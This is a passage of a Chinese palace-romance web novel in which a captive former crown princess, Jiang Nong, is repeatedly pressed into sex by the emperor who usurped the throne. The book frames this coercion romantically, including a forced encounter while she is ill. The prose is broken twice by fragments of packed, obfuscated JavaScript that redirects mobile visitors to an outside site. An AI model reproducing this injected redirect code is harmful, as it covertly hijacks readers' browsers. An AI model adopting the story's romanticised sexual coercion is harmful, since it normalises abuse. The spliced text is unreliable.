听到“歇息”二字,姜秾神色变了变,但也不敢推辞,反而乖乖应下,“是。” 两人移步床榻前,姜秾给容珣松衣裳,等脱完人就被容珣带入床榻,男人不管不顾的捧着她的后脑勺吻上来。 二十二年来,他算得上克己复礼,可不知为何,一碰到这个女人,他就难以自持。 等男人的手消失在她的裙底,姜秾才发觉已经晚了,她挣扎着想要推开他,“公子,你答应过不动我的。” 容珣暗哑的声音钻入她的耳廓里,“我只是答应保留你的完璧之身,可没说过不碰你。” 激情过后,容珣抱着姜秾躺在床上,他吻了吻她的后颈,“欢儿,别想着逃,扬州这边的事情结束了,我便带回北境。”他的手按在她光滑的小腹上,“等你肚里揣上了我的孩子,你就再也逃不掉了。” 姜秾浑身一僵,她猜测容珣已经知道些什么了。 但对方没有戳穿她,姜秾也不会自乱阵脚,“好啊,那我们何时离开?” “若是顺利,下个月就走。” 下个月?姜秾掐了掐手心,她只有一个月的时间了,她必须尽快何匀檀他们联系上。 又过了几日,容珣再次出去,姜 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姜秾暗自心惊,却不敢道明对方的身份,雪晴将手中的琴交给宗云骞,“这是我夫人的琴,你若是修好了,必有重谢。” 宗云骞接过去,和气的说道:“姑娘放心,在下一定将琴修好。” 雪晴交待完之后便去门口守着,这时宗云骞才压低嗓门道:“姜姑娘,你为何在此?她为何叫你夫人?” 姜秾不知道该怎么同宗云骞说,她低声道:“殿下,此事说来话长,我现在被人盯着,不太方便,麻烦你将这封书信,送到百叶巷的姜宅。” 说完,她匆匆将一个纸团丢给宗云骞,宗云骞赶紧接过去,这时,姜秾又问:“五皇子,你为何在此?” 宗云骞道:“姑娘,我是奉旨南下。” 他是来查一伙走私案,不过这些事情他不方便告诉姜秾,姜秾也没有多问,只是点了点头。 待姜秾抱着修好的琴走后,宗云骞拿出那个纸团,看完之后,他的目光微微一沉,然后将纸团投入一旁的火盆中。 又过了五六日,容珣从外头回来了,让雪晴将她送过去,这几日,她做了什么,容珣没有多问,见面后容珣便将她抱上床。 容珣的双手熟练的抚过她的肌肤,姜秾颤抖着瑟缩在他怀里,嘴里溢出娇吟,容珣满意的吻住她的唇,等他宣泄完毕,一股沉沉的睡意袭来,姜秾眼皮的打架。 她只要一来容珣的房间里,就格外的嗜睡,她狠狠的咬了咬自己的舌尖,当血腥味充斥在口腔时,她整个人忽然清醒过来。 容珣穿了衣裳起身,回头看姜秾安静的躺在床上,并没有起疑心,这时,宋有祥从外头走进来,端来热水。 “主上,把面具揭下来吧,奴才给您换一个新的。” 容珣轻轻的“嗯”了一声,将脸上的人皮面具摘下,谁也没有注意到,躺在床上的姜秾偷偷的睁开眼睛。 一张俊美的脸在灯光底下泛着冷白的光泽,姜秾震惊的说不出话来,她终于明白自己为何会对容珣有几分熟悉之感。 12. 第 12 章 ” 撷芳殿内,姜秾猛地从睡梦中惊醒过来。 她涣散的视线也渐渐的清晰起来。 “怎么了?梦魇了?” 男人低沉的声音传来,姜秾的目光落在他身上,男人穿着衮服,头戴翼善冠,俊美的脸如切如磋,和睡梦中容珣那张人皮面具摘下来后惊艳的面容重叠。 即便隔着三年时光,姜秾都仍然能响起当初看到那张脸时,内心的悸动。 她当时便认出他来,烈王宗焱。 这也是她当时要迫切逃离他的原因,她不知道烈王是否认出她的身份,但烈王和她爹的恩怨,若自己真被他带回北境,到时候爹爹必然受到威胁,如今回想起来,她仍然不觉得自己当时有什么错。 男人口口声声说自己背叛了他,对他始乱终弃,可当初他要带走自己,难道就没有别的意图吗? 他们俩各怀鬼胎,实则谁也不欠谁的,是他硬要揪着不防。 姜秾轻轻的“嗯”了一声,“皇上怎么在这里?” 这时,金嬷嬷走上前说道:“娘娘已经昏迷两天了,皇上担心您,一下朝便赶过来了。” 姜秾起身,想要对皇帝行礼致谢,却被皇帝按住肩,“你身子弱,不必行礼。”说着,拿起一个软枕垫在她的腰后。 这时,匀檀端着药走进来,明明几天前,两人还因生孩子之事吵了一架,这会皇帝又跟没事一人一样,伸手接过药,喂到她的唇边,好在他并未对她昏迷之事起疑心,姜秾不敢抗拒,也怕皇帝看出端倪,便张嘴接下。 等喝完,皇帝用帕子给她擦了擦嘴角。 姜秾见皇帝没有走的意思,便出声催促,“皇上,妾身没事了,您国事繁忙,不要因妾身耽误了。” 皇帝仿佛没听懂她有送客的意思,“无妨,朕已经让宋有祥将奏章搬过来了,朕就在这里处理。” 姜秾略有些无语,这时,宋有祥已经搬着奏章放在桌上。 姜秾驱赶不得,只能无奈妥协,“皇上,妾身有些累,还想再睡一会。” 皇帝点头,“好,你睡吧。” 姜秾重新躺回去,她闭上眼睛,至少这样她可以少看皇帝几眼,省的怄气。 姜秾躺回去之后,皇帝便起身,让宋有祥搬来椅子,坐在桌子面前处理公务。 姜秾竟然又昏昏沉沉的睡过去,脑海里的那个梦似乎还在继续。 那一天,雪晴将她带到码头边上的客栈里,和她在这里等宗焱回来,汇合之后坐船北上,她表面上淡定,实则内心已经急的像热锅上的蚂蚁。 自从上一次在琴坊跟五皇子见过面之后,外面就再也没有人来联络她,她不知道是五皇子压根就没将书信送给匀檀,还是匀檀已经不在扬州了,在客栈的时候,姜秾如坐针毡。 看着运河上来来往往的船,她恨不得生出双翼来飞上去。 就在她绝望之时,天空中炸开一道烟花。 雪晴在看到烟花之后,已经顾不得姜秾了,拿起桌上的剑就说道:“姑娘且在这里等着,我去去就来。” 姜秾也不知道发生了什么,见雪晴离开,她便也忙不得的从客栈里出来,她扛着包袱就往码头的方向跑,然而,等她终于气喘吁吁跑到码头上,客船却已经离开,她要等下一趟需再过一个时辰。 姜秾朝那已经摇撸离去的客船不断挥手,“回来,快回来啊……” 可压根就没有人理会她。 姜秾苦闷的看着浩荡的河水,一时茫然起来,也不知道该何去何从,就在这时,身后传来男子的声音:“姜姑娘。” 姜秾回头看去,只见宗云骞一身伤骑着马奔过来,姜秾没多想,走上前姜宗云骞从马背上扶下来。 “殿下,你怎么把自己弄成这样?” 宗云骞来不及解释,他捂着胸口往后看了一眼,眼看追兵就要上来了,他抓住姜秾的手道:“等会再说,快走。” 两人奔至码头前,这时宗云骞早就安排好的船停在岸边,两人迅速上了船,船桨在岸边一撑,迅速划入江心,姜秾回头一望,只见追过来的那伙人当头那位便是容珣。 男人铁青着脸,那眼神恨不得将自己撕碎了。 等姜秾再次醒来,已经天黑了,屋内点了灯,宗焱已经处理完所有的奏章,回头看她已经醒来了,气色比之前要好了许多。 皇帝走到她面前,伸手探了探她额上的温度,“很好,已经退烧了。” “想吃点什么,朕让人送过来?” 姜秾见皇帝这架势,约莫是想要留在这里不走了,她有点头疼,轻轻摇头道:“没胃口。” “那就喝点粥。” 皇帝很坚持,姜秾只得答应,不多时,桌上的奏章就被拿走了,端上来清粥小菜,姜秾勉强吃了些。 吃完后,她体力不济,又躺回床上去,皇帝来到床边上,开始解腰间的玉带。 姜秾看在眼里,只说道:“妾身身体虚弱,不能伺候皇上,若皇上需要女子侍寝,可以找宫里的娘娘们。” 宗焱动作一顿,“你把朕当成什么了?” 说完,他将腰间的玉带往旁边一丢,脱下龙袍就挂在木椸上,双床之后,他攥紧被窝里从后面抱住姜秾。 他贴着她的后劲吻了吻道:“你身子畏寒,睡不暖和,朕给你暖一暖。” 堂堂九五之尊给她暖被窝,姜秾心里涌上一抹又酸又涩的复杂情绪。 姜秾闷声道:“皇上,您是天子,怎么能降尊纡贵来做这种事情,妾身不值得您这么做。” 宗焱从她身后搂住她的腰,强行将她抱在怀里,“值不值得朕说了算。” 姜秾浑身冰凉,而他像一团火一样将自己包裹,贴着他的时候,热意不断的传递到她身上,她冰凉的身子仿佛解冻了一般,可她的心却是冷的。 “不开心么?”宗焱盯着她的侧脸,她的神色里,总有一种淡淡的落寞,尤其是在他身边的时候。 “皇上多虑了,妾身没有不开心。” 皇帝不信她的话,“在想宗云骞?”姜秾刚想否认,被皇帝抢白,“朕听到你在梦中叫他的名字。” 皇帝看似不在意,可缠在姜秾腰间的手却忍不住收紧。 姜秾眼底闪过一丝错愕,嘴上却说道:“皇上何必吃一个死人的醋,横竖妾身这辈子跟他都没有做夫妻的缘分。” 话虽如此,可皇帝还是不满她心里还惦记着那个死人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234298|166015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宗焱执意要刨根问底,“你都梦到了什么?” “在扬州发生之事。” “扬州”两个字,就是宗焱心里的一根刺,那段不堪回首的过去再次浮现在脑海里。 他永远都记得他站在码头上,远远的看着她跟宗云骞逃跑的情形,当时他的大船即将北上,迫在眉睫,随从拉着他,不让他离开,无奈之下,他只得暂时放弃她。 宗焱捏着姜秾的下巴,他沉着脸道:“你是故意要给朕找不痛快,是不是?” 姜秾见宗焱被激怒了,只觉得可笑,“妾身没那个意思,妾身只是实话实说而已,妾身可不敢在皇上面前撒谎。” 宗焱见她明知道自己生气,却仍然是一副云淡风轻的表情,似乎笃定他只会生气却不能拿他怎么样。 宗焱心里堵着气,说话也阴阳怪气的,“宗云骞因朕而死,你爹被逼自尽,你是不是恨死朕了?” 姜秾眸光动了动,纵然她对宗云骞没有多少喜欢,可她俩毕竟相伴三年,多少有些感情,若宗焱不篡位,她现在仍然是风光无限的太子妃,将来还有可能是皇后,最重要的是她爹,没有半年前的叛乱,她爹也会活着。 宗焱毁了她的一切,折了她的羽翼,将她囚在这里,说不恨是假的。 姜秾道:“妾身不恨皇上,冤冤相报何时了,妾身不想活的那么累。” 纵然她不肯承认,宗焱也能明白她的心思,她这般隐忍,无非是为了姜家那一大家子。 嫉妒就像毒蛇一般啃噬着他的心,那个死人不是让她耿耿于怀吗?那他就让她看清对方的真面目。 “你应当清楚,你爹坏事做尽,死有余辜,至于宗云骞,你以为他是什么好东西,他当年奉旨南下查扬州走私关盐铁一案,得知朕是那个幕后买家后,他派人与朕交手,损兵折将后落荒而逃,他是为了保命才救你的。” 与其说是救她,还不如说是挟持她,用她来做人质威胁他。 最终宗云骞赌对了,他输了,不仅人没了,他购置的兵器也是辗转几道才运回北境。 虽然他的行径算不得光彩,但当时他急需兵器钱粮,也顾不得许多了。 姜秾怔了怔,这件事情当年宗云骞也跟她坦诚了,至于宗云骞救她是否有别的目的,她就不得而知了。 当时他告诉她,容珣牵扯进了一桩走私案里头,问她是否知道一些内幕。 她并没有说实话,只是摇摇头,毕竟容珣救过他,若是她道出他的真实身份,他肯定难逃一劫,所以她选择保守秘密,可没想到就是因为自己的仁慈,最终害的皇室覆灭,爹爹惨死。 姜秾不愿意回忆那段痛苦的过去,她摇摇头,“别说了。” 宗焱依然不肯罢休道:“至于后来,你爹为何同意把你嫁给他这般无权无势的皇子,应该是两人达成了某种交易,他一直都在利用你上位,你心里难道不清楚?” 姜秾被刺痛了,她知道宗云骞目的不纯,可他从未做过伤害她的事情,不像有些人,为了达到自己的目的,不择手段。 “皇上和他比也好不到哪里去,当初皇上不是早就认出妾身是姜徵之女么?您救妾身,也是因为您想要利用妾身,不是吗?” 13. 第 13 章 皇帝的脸色阴沉下来,他捏紧她的下巴,怒斥道:“姜秾,你放肆!” 他一生气,身上的压迫感就更重了。 姜秾身子抖了抖,强装镇定的迎上他的目光,“皇上这么生气,难道是被妾身说中了?” 皇帝差点被她气炸了,他猛地从被窝里起来,翻身下床,冰冷的眸子里燃着怒火,“姜秾,你真是不识好歹,朕就不该来看你,让你在这里自生自灭是最好的!” 说完,他穿上龙袍大步离去。 皇帝走后,姜秾的被窝也一点点的变凉了,她闭上眼睛,若是真能这么将他气走,那真是再好也没有了。 不多时,匀檀进来了,往她的被窝里塞了个汤婆子。 匀檀道:“娘娘不喜欢男人暖被窝,咱就用汤婆子,汤婆子可不会像皇帝那样动不动就生气。” 姜秾被她一句话就逗笑了。 接下来几日,皇帝一直都没有再出现,姜秾彻底放松下来,加上天气委实太好了,她便和匀檀一起在撷芳殿走了走。 金嬷嬷本是不允许她去前殿的,不过自从上次姜秾给了她金疮药后,她的态度便软和了些许,也不再似看犯人一般看着姜秾了。 前殿的桃花开了,一簇簇绚烂如红霞,匀檀道:“娘娘要是喜欢桃花,我摘一束下来放在花瓶里。” 姜秾嘴角浅浅上扬,她摇头道:“不必了,摘下来容易枯萎,让它自开自落吧。” 匀檀见姜秾脸上有了笑容,心里也高兴,“娘娘不跟皇上在一起时,开心多了。” 匀檀自幼跟在姜秾身边,两人亲如姐妹,比起让姜秾备受恩宠,她跟愿意看到姜秾过的开心。 姜秾喃喃道:“若是能离开这里,我更开心。” 匀檀看着高高的宫墙,发愁道:“娘娘,咱们要怎样才能离开这里?” 姜秾沉吟不语,若要离开这里,她有许多法子,但不到万不得已她不能用,如今最简单的便是让皇帝不再将心思放在她身上。 她必须想办法让皇帝去宠幸别的女人。 可她身在撷芳殿,不能随便入后宫,后宫的娘娘们也不能随便出宫,她就算有办法也行不通。 就在这时,一个看门的小太监匆匆走上前来,“娘娘,淑妃娘娘来了。” 淑妃? 姜秾一抬头,就看到淑妃在众人的簇拥下走进来,淑妃身上穿着海棠红蹙金花鸟纹褙子,搭配天水碧八幅马面裙,头上珠环翠绕,瞧着雍容华贵。 姜秾眼睛一亮,她正愁找不到机会去见宫里的娘娘,这不就送上门来了。 姜秾走上前去,行了一礼,“妾身给淑妃娘娘请安。” 淑妃对她露出一抹温婉的笑意,“你身子弱,不必多礼,起来吧。” “是。” 随后,姜秾领着淑妃来到后殿坐下。 淑妃道明来意,“那日你与宋美人发生争执落水,本宫执掌后宫,于情于理都该来看看你。” 姜秾知道淑妃并不喜欢自己,只是客气的回了一句,“有劳娘娘记挂。” 姜秾让匀檀泡了茶,淑妃接过茶之后,浅浅的抿了一口,却惊讶的发现这居然是今年上贡的阳羡茶,因当地产量低,总共才八两茶叶,因太后喜欢,皇上送了四两过去,剩下四两她跟皇上讨要二两,皇上都不曾松口。 她以为他不松口是舍不得,谁知却是送给旁人。 这一口茶喝的淑妃内心醋意翻涌,她将茶盅往桌上一搁。 她放置的力道稍微大了些,发出些许碰撞声,姜秾看了她一眼,“娘娘,可是这茶不合口味?” 淑妃艳丽的红唇勾起一丝笑,可笑容却不到眼底,反正皇帝也不在这里,她懒得虚与委蛇,“姜秾,你这阶下囚的日子,可比宫里的娘娘过的还要好,这金贵的阳羡茶平日本宫喝都喝不到,却在你这里尝了鲜。” 姜秾明知她意有所指,却还是假装没听懂,“既然娘娘喜欢这茶,妾身都送给娘娘便是。” 淑妃冷笑道:“姜秾,你明知道本宫说的是什么意思,你是有夫之妇,却不知廉耻勾搭皇上,狐媚祸主,你这般行径,若是传出去了,你以为皇宫里还会有你的容身之所?” 淑妃原本是想用这话来恐吓姜秾,她以为姜秾会怕,谁知姜秾只是淡淡一哂,“娘娘以为妾身喜欢待在这里?妾身恨不得离这个是非之地远远的,可惜妾身势单力薄,根本无力抗衡皇权,只能做这笼中鸟,妾身与温昭太子鹣鲽情深,就算夫君死了,妾身也愿为他守节,断然不会去做那等背德乱仑之事。” 淑妃满脸不可置信的神色,“怎么可能,你休要诓我,哪个女人不渴望得到皇上的宠爱,你不肯承认,无非就是怕背负骂名罢了。” 姜秾苍白的脸上露出几分讽刺,“娘娘若是不信我,我就算说破嘴皮也没用的,娘娘提起这些,无非是不想让奇妾身再被皇上召幸,可惜这并不是姜秾能改变的,只要皇上一日想要妾身,妾身便能得宠一日,他还说要同妾身生孩子,只可惜妾身的身子已经坏了,无法生育。” 淑妃见她做了这么丢人的事情,还如此不知廉耻的宣之于口,脸上的鄙夷更深了,“既然你知道自己无法生育,但也该明白,色衰而爱驰,靠着一张脸是不可能被皇上宠爱一辈子的。” 姜秾道:“妾身自然明白,所以帝王恩宠对妾身来说不过是镜花水月,根本不值得留恋,如今妾身只想离开皇宫,和家人一起过普通的日子,妾身倒是愿意助娘娘一臂之力,让娘娘得到皇上的宠爱,这样皇上的心思也不会留在妾身身上,到时候娘娘再想办法助妾身离宫便可。” 淑妃已有些心动,但她嘴上却还没松口,“我凭什么相信你,再说了,本宫想要得到皇上的宠爱完全可以靠自己,根本不需要你来帮本宫。” 姜秾见淑妃犹豫不决,轻轻勾唇道:“娘娘不愿意合作就算了,我自然可以去找旁的人。”接着,她又自言自语道:“是兰嫔,还是韩昭仪好呢?这两位家世都不输给娘娘,才华容貌也极为出众,却被娘娘压一头,说不定还想百杆尺头更进一步呢。” 淑妃心里清楚,若她真能凭借自己的能力得到皇帝的宠爱,也不至于到现在还是完璧之身,另外,就是她的身份,他哥哥 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淑妃点点头,不多时,碧珠便将太医请过来了,太医拿着东西闻了闻,又拿银针验过后,回话道:“娘娘,这香露并无问题,若是用久了,肌肤遍体生香。” 太医说完之后,淑妃放心下来,当即吩咐,“碧珠,今晚沐浴之后,给本宫抹上。”现在最重要的是自己得宠,她才不管用什么手段,若是得不到皇帝的宠爱,她这淑妃之位,也不过徒有虚名而已,等她地位稳固下来,再腾出手来收拾姜秾不迟。 碧珠欢喜的应下,“是。” ** 承乾殿内,皇帝埋头处理奏章,敬事房太监李德端着盘子进来。 李德跪在地上给皇帝行礼,“奴才给皇上请安,请皇上翻牌子。” 宗焱抬眸看了一眼,顿时拧起了眉心,“出去,朕没空。” 李德不敢走,他哀求道:“皇上,您要是再不翻牌子,太后那儿奴才也不好交差啊。” 说着,他看了宋有祥一眼,宋有祥会意,躬身笑眯眯的说道:“皇上,您连这几日忙到三更,也该好好歇息,莫要累坏了身子,去娘娘们那儿听听曲,聊聊天也是好的,不然太后她老人家一直担心您。” 宗焱揉揉眉心,无奈的搁下笔,他看了一眼盘子里的绿头牌,不耐烦的说了句,“去淑妃那儿。” “是。”李德欢天喜地的离开了。 淑妃得知宗焱要来后,喜上眉梢,赶紧吩咐碧珠去准备热水沐浴。 夜里,一顶肩舆抬着宗焱往昭阳殿这边走来。 皇帝靠坐在椅背上,脸上没什么兴致,他年少时清心寡欲,自从碰了姜秾后,其他女人对他而言,更是索然无味。 肩舆,甫一进入昭阳殿,空气里便袭来一股熟悉的冷香,原本神色恹恹的皇帝,双眸陡然变得锐利起来。 下来后,他直奔入寝殿。 淑妃见皇帝已经进来,她松松挽着发髻上前相迎,“皇上万安。” 皇帝目光在寝殿内一扫,发现并没有他想找的人,最后他寻到香气的来源,目光定在淑妃身上,神色一点点的变冷,“你用的香从何处得来的?” 14. 第 14 章 皇帝的神色辨不出喜怒,淑妃也不说是姜秾给她的,只是嘴角带着浅笑问皇帝,“皇上喜欢吗?” 淑妃穿得甚是单薄,抹胸襦裙,外头只披着一层如烟似雾的轻纱,窈窕的曲线一览无余。 那股香气糅杂着一股郁金香弥漫在寝殿内,很是浓郁,却并非他所喜欢的,宗焱微微起伏的心绪又平复下来,他走上前道:“你还未会回答朕,这香从哪里来的?” 淑妃见他刨根问底,便也没有隐瞒,“今日去看望温昭太子妃,太子妃回赠给臣妾的,臣妾闻着这香气独特,故而用了在身上。” 她知道这香是姜秾私底下侍寝用的,皇帝对这香必然熟悉,若是故意撒谎,反倒显得拙劣,而且她也间接的提醒皇上,姜秾既然愿意将这香给她,那便是想要她去分皇上的恩宠。 皇上是欣然接受,还是动怒,她不知晓,反正皇上以为她什么都不知道,定不会迁怒于她。 宗焱当然也想到了这一层,眼睛里似掺了冰渣一般寒冷,他想让她好好养病,她倒是好,将手伸到他的后宫来了。 宗焱压着怒意看了淑妃一眼,“平身。” 淑妃见皇帝没有冲她发火,内心微微一松,命碧珠上酒菜。 淑妃给皇上舀了一碗汤,笑着道:“皇上,这鸡汤是用长白山的野山参炖的,鲜甜又滋补,您尝一尝。” 宗焱目光微微一动,伸手接过去,他浅尝了一口,将汤放在桌上,“这野山参的味道倒是和多年前一样。” 淑妃笑了笑,眼神忽然飘的老远,露出几分怀念,“这让妾身想起在北境军营的日子,那时妾身不过是个俘虏,大病一场后,身子虚弱,皇上便命人野山参炖汤给妾身喝。” 宗焱在北境时,和淑妃的兄长秦歧多次交手,有一次秦歧落败,宗焱抓了许多个敌军俘虏,没想到他的妹妹竟然在里头,那时候他安排俘虏在军中做些杂役,谁知这淑妃身娇体弱一下子就病倒了,他见她女扮男装入军营着实不容易,生了恻隐之心,便让人炖了参汤给她喝。 他不为难女人,在淑妃醒来后便直接放她走了。 宗焱道:“当时北境大军在雪林边上驻军,雪林中到处都是野山参,随便一刨便能找出几支,也算不得什么好东西。” 淑妃见宗焱并不将此事放在心上,眼底露出淡淡的失落,淑妃给他倒满酒,“对皇上来说是举手之劳,可对妾身来说,却值得刻骨铭心记一辈子,妾身一家子都念着皇上的恩德,愿意为皇上鞠躬尽瘁死而后已。” 若非这件事,淑妃后来也不会劝说哥哥投降,更不会不顾家人反对,执意入宫为妃。 她现在提起,也是间接的提醒皇帝,虽然他帮过她,可她们秦家也为皇帝鞍前马后做了不少事。 宗焱并非不念旧恩之人,但是不喜欢旁人挟恩图报,后宫里的女人包括淑妃在内,也不是他要封的,这一切都是太后的意思,太后随军南下,奔波劳碌累垮了身子,那段时间正病着,想要他选妃,他为了宽慰母后便答应下来。 他将手中的酒盏放在桌上,发出重重的碰撞声,“淑妃是在提醒朕,对你秦家的恩宠还不够吗?” 近来朝中总是传来镇国公秦歧拥兵自重,贪污受贿,结党营私之事,但朝中正是用人之际,他也睁一只眼闭一只眼,然而,对秦家的不满却积压在了心底。 淑妃没想到皇帝会生气,她赶紧起身,双膝一弯,半跪下去,“臣妾不敢。” 宗焱站起身来,冷冷道:“朕还有政务要处理,你自行歇息。” 淑妃见宗焱已经转过身去,猛地攥紧手心,她知道自己的机会不多,若是错过这次,下次还不知要等到什么时候,不,她不能让皇上走。 淑妃站起身,快步走上前去,从后拥住皇帝的身子,“皇上,臣妾知错了,您就饶了臣妾吧,臣妾往后再也不敢了,您别走,留下来陪一陪臣妾吧,臣妾入宫至今还是完璧之身,传出去了,您让臣妾如何自处?” 淑妃一靠近,宗焱便又闻到了她身上浓郁的香气,这香若是在姜秾身上,只会让他上瘾,可若是在别人身上,只会让他觉得别扭。 宗焱毫不留情的将淑妃的手拿开,他回头看了淑妃一眼,眼神冰冷,“淑妃,若你只想当妃子,光耀门楣朕会如你所愿,但若你想别的,朕怕是会让你失望了,朕能给你的只有身份。” 说完,他丢下她大步走出去。 皇帝走到殿外,里头传来一阵杯盘碎裂的声音。 宗焱脚步微微一顿,对侯在一旁的宋有祥道:“淑妃火气太重,明日让她抄录十遍清心咒。” "是。" 淑妃隔着门板听到外头传来的声音,身体跌坐在地上。 那个女人不是说,皇上闻到这股香气便会走不动路吗?根本就是骗人的! 她将手里攥着的瓶子,狠狠的丢在地上。 瓶子碎裂的那一刻,整间宫殿冷香四溢,浓郁的有些刺鼻,淑妃有股作呕的冲动,她的声音陡然尖锐起来,“沾了这香气的东西都给本宫烧了!” 她是多么愚蠢才会上了那个女人的当!从此以后她秦婉绫与姜秾那个贱人势不两立。 ** 姜秾一连睡了几个踏实的好觉,虽然没有服药,但身体却一日比一日好,这日天气晴朗,她和匀檀一起在撷芳殿内打理花草,这时,金嬷嬷将汤药端过来,“娘娘,活先放一放,先把药吃了。” 姜秾笑着接过去,随后又道:“嬷嬷,本宫有些冷,你去将我屋里那件兔毛披风拿过来。” 金嬷嬷看着她全身沐浴在艳阳之下,也不知道她为何叫冷,但想着她还病着,许是身子虚,便转身去屋内给她拿披风。 就是这会功夫,姜秾将手中的药碗尽数倒在花盆里。 这一幕,刚好被走到垂花门外的宗焱看到,宗焱正要跨进去的腿又收回来,他立在原地,冰冷的眸子紧盯着那个窈窕的身影。 只听匀檀道:“娘娘,奴婢觉得淑妃娘娘对娘娘的成见很深,也不知道得宠之后,会不会遵守承诺放娘娘出宫?” 另一道轻柔冷静的声音传来,“她不遵守也没关系,咱们自己想办法离开这个这里,等彻底摆脱这个牢笼,我带上娘亲去余杭,咱们一家人在那儿清清静静的过日子。” 垂花门后的宗焱,脸色如同阴云密布,难怪她的身体拖了这么多天还不见好,原来是她自己故意不吃药。 不吃药就算了,还将他推给别的女人,目的就是为了让他不在纠缠她,好离开这个囚禁她的牢笼。 一股怒气直冲宗焱的天灵盖,他想方设法维护她,可在她眼里他所做的一切是如此的不堪。 宗焱大步跨进去,姜秾还未察觉,犹自说道:“另外出去之后,我还想给云骞立个衣冠冢,就当报答他这三年对我的好。”听闻云骞是被乱箭射死的,可不知为何连尸体都找不到。 这时,匀檀脸色已经变了,姜秾正奇怪,身后传来一个冰冷的声音,“立衣冠冢,你当朕死了吗?” 姜秾惊的手一颤,手中的碗掉落在地上,她一回头看到皇帝怒气冲冲的走过来,她慌的往后一退,还不等她反应过来,皇帝一个箭步上前,将她拦腰抱起来扛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234300|166015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在肩上。 皇帝扛着她往屋内走,正好撞见拿着披风走出来的金嬷嬷,金嬷嬷看到这一幕,不慌不忙的行了一礼退到一旁,并将门给关上。 姜秾被皇帝扔到床上,用力挣扎后牵动肺腑,她忽然爆发出一阵剧烈的咳嗽。 “咳……咳……” 见她咳嗽的时候,涨得满脸通红,宗焱无动于衷,骨节分明的手指开始扯她的腰带。 等姜秾好不容易缓和过来,发现外衣已经被宗焱脱下来了,她纤细洁白的藕臂暴露在冰冷的空气里,泛起了细小的鸡皮疙瘩。 “皇上,妾身还病着,不方便侍寝,您放过妾身吧。” 宗焱冷笑,“是吗?朕看你好的很,连药都不用吃了,这身子应该是好了,这几日朕国事繁忙,冷落了你倒是让你生出了旁的心思,你不是想把朕推给别的女人么,朕今日就告诉你,朕还没玩腻你,现在对其他女人根本没兴趣。” 姜秾见宗焱气的俊脸都扭曲了,眼底怒意汹涌,她打了个哆嗦,所谓好汉不吃眼前亏,她赶紧求饶道:“皇上,妾身错了,妾身只是怕身体病着伺候不好皇上,这才将凝香露给了淑妃娘娘,盼着娘娘能好好伺候皇上。” 宗焱见她信口胡诌,气的发笑,他捏着她的下巴,“好,那离开皇宫又是怎么回事?朕不知道你还有这么多心思?想要为宗云骞立衣冠冢,你现在的所作所为还配吗?” 这句话,深深的刺痛了姜秾,是,她不配了,她的身子早就不干净了,还有何面目面对宗云骞呢? 可这些,还不是拜他所赐,他又凭什么来嘲笑她? 她真的受够了。 她不想每天活在惊慌恐惧里,还要被他这样无情的羞辱。 姜秾豁出去了,直接跟他摊牌,“皇上,自父亲死后,母亲孤苦伶仃,妾身只想出宫去陪着她,侍奉她终老,何况妾身的夫君已经死了,妾身对这个皇宫已没有任何留念,您成全妾身吧。” 宗焱看着她不带任何情绪的眼睛,心蓦地一沉,他的眼睛紧紧盯着她,仿佛在压抑着什么,许久,他问出除了三年以来最想问的话,“没有任何留念,那朕呢?你对朕也没有半分留念吗?” 不管是在扬州,还是现在,她在自己面前都带着一张虚伪的假脸对他逢迎讨好,可他还是抱着一丝期待,希望她对自己有一丝半点的真心。 姜秾怔了怔,看着皇帝俊美年轻的脸,金相玉质,龙章凤姿,这些词也只是堪堪能形容他的好看而已,想起三年前,在扬州初见这张脸时,她狂跳的内心亦久久不能平复。 她是留恋过他的,也曾在无数次和他拥抱和亲吻时,生出一丝丝的幻想,不然也不会在宗云骞问起宗焱的真实身份时三缄其口,只不过她是个自私的女人,比起男人,她更爱自己,何况他们之间隔着宗云骞,她父亲两条人命,她怎么能心安理得在这里和他无耻苟合。 姜秾将内心杂乱的情绪压下去,目光也已恢复冰冷,“皇上,按着辈分,妾身还要叫您一声“皇叔”,在妾身心里,委实只将您当做一个敬重的长辈,除此之外便再无其他了。” 长辈?她竟然说将他当长辈! 谁是她的长辈,他和她明明半点关系也没有!这个身份是她强行安在他身上的。 宗焱心里一阵抽痛,这个女人生来就是克他的,她总能这样漫不经心的狠狠的往他心里捅刀子。 他是中了邪才在同一个女人身上栽了两次。 宗焱咬着牙道:“好,你若想出宫,朕可以成全你,不过朕丑话说在前头,到时候,你可别哭着回来求朕。” 15. 第 15 章 宗焱走时,已经到了日落时分,夕阳余晖从窗外斜射进来,在地上投下斑驳的光影。 匀檀端着热水从外头进来,她家娘娘的衣物如同破布一般躺在地上,她掀开床帐一看,只见床榻上凌乱不堪,而姜秾则蜷缩在床角,身上的痕迹更是触目惊心,没有多少完好的。 匀檀忍不住落泪,“娘娘,皇上也太狠了,他怎么能这样对您,这简直没把您当人看啊!” 姜秾红肿的唇勾起一丝冷笑,皇帝何曾将她当人看过,他是答应她放她出宫,可条件却是要让她最后再伺候他一次,这一次他比以往还要粗鲁蛮横,仿佛要将她彻底弄废了,好在这一次之后,她终于不用再伺候他了。 “匀檀,我们自由了,皇帝准许咱们出宫,以后咱们再也不用受气了。” 匀檀心酸不已,她将帕子绞干,替姜秾擦拭身上的污渍,“娘娘,二夫人若是知道您在宫里受了这么多委屈,她一定会心痛的。” 